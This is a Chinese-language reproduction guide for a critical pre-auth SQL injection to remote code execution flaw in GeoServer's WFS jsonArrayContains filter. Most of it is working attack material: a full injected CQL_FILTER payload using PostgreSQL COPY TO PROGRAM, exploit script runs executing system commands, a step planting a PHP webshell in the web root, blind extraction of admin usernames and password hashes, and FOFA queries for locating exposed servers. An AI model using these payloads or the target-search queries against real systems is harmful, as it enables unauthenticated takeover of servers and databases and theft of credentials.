漏洞简介
CVE-2026-XXX(GHSA-mqjf-5f49-2fjh)是 GeoServer(GeoTools)中的 Critical 级别预认证反射型 SQL 注入转 RCE 漏洞。该漏洞存在于 WFS(Web Feature Service)接口的
jsonArrayContains函数中,核心问题是 GeoTools 的FilterToSqlHelper.constructEquality方法在处理 JSON 数组查询时,对第三个参数expected未做任何转义或参数绑定,直接通过String.formatted()拼接进 SQL 字符串。攻击者通过单引号闭合 JSONPath 字符串字面量,进而闭合函数调用、注入任意 SQL,并结合 PostgreSQL 的COPY ... TO PROGRAM实现远程代码执行。
通过逆向分析漏洞利用链,攻击者无需任何身份认证即可向 GeoServer 实例发送恶意 WFS 请求,成功利用后可获得以下操作:读取/篡改后端 PostGIS 数据库全部数据、窃取管理员凭据、执行任意系统命令、完全接管 GeoServer 实例及后端数据库主机。
该漏洞的影响链路:发现暴露的 GeoServer → 构造恶意 CQL_FILTER 注入 SQL → 堆叠查询执行任意命令 → 使用
COPY TO PROGRAM实现 RCE → 接管应用服务器及后端数据库。
影响范围
漏洞复现
准备环境
步骤 1:目标检测(被动识别)
检测目标是否运行存在漏洞的 GeoServer:
curl http://TARGET_IP:8080/geoserver/rest/about/version.json成功响应示例:
```
{
"version": "2.25.3",
"fullVersion": "2.25.3",
"database": "POSTGIS_SQLRT",
...
}
```确认 WFS 接口可用:
curl "http://TARGET_IP:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities"步骤 2:SQL 注入验证(时间盲注)
使用 pg_sleep 验证是否存在注入点:
python3 exploit.py \
--url http://TARGET_IP:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "id" \
--show-payload若返回延迟响应,说明注入成功:
```
[+] Powered by 七度光 | www.qdg.tw
[*] Endpoint: http://TARGET_IP:8080/geoserver/topp/ows
[*] CQL_FILTER: jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'id' --')=true
[+] Response status: 400
[+] 400 error received - expected injection signal
```步骤 3:远程命令执行(RCE via COPY TO PROGRAM)
在确认 PostgreSQL 具备超级用户权限后,直接执行系统命令:
python3 exploit.py \
--url http://TARGET_IP:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "whoami > /tmp/pwned.txt" \
--show-payload成功响应示例:
```
[+] Powered by 七度光 | www.qdg.tw
[*] Endpoint: http://TARGET_IP:8080/geoserver/topp/ows
[*] CQL_FILTER: jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true
[+] Response status: 400
[+] 400 error received - expected injection signal
[+] RCE achieved! Check /tmp/pwned.txt on the database host.
```步骤 4:Webshell 上传
通过 RCE 在 Web 可访问目录写入 PHP/Python webshell:
python3 exploit.py \
--url http://TARGET_IP:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo '<?=system(\$_GET[\"q\"]);?>' > /var/www/html/shell.php" \
--show-payload成功后的访问方式:
http://TARGET_IP/shell.php?q=id步骤 5:数据提取(盲注模式)
若数据库用户不具备 superuser 权限,可使用盲注模式提取数据:
# 查看当前数据库名
python3 jsonarraycontains_rce.py -i TARGET_IP -p 8080 -x
# 提取指定表的前10行数据
python3 jsonarraycontains_rce.py -i TARGET_IP -p 8080 -x admin_users -l 10完整盲注输出示例:
```
[+] current_database = geoserver_data
[+] table[0] = admin_users
[+] table[1] = datastores
[+] table[2] = featuretypes
[+] columns: id, username, password, email
[+] row[0] = 1|admin|5f4dcc3b5aa765d61d8327deb882cf99|[email protected]
[+] row[1] = 2|operator|e99a18c428cb38d5f260853678922e03|[email protected]
============================================================
EXTRACTED ADMIN RECORD
============================================================
ID: 1
Username: admin
Password Hash: 5f4dcc3b5aa765d61d8327deb882cf99
Email: [email protected]
============================================================
```FOFA 语法
app="GeoServer"或精确匹配 WFS 接口:
body="/geoserver/" && body="GetCapabilities"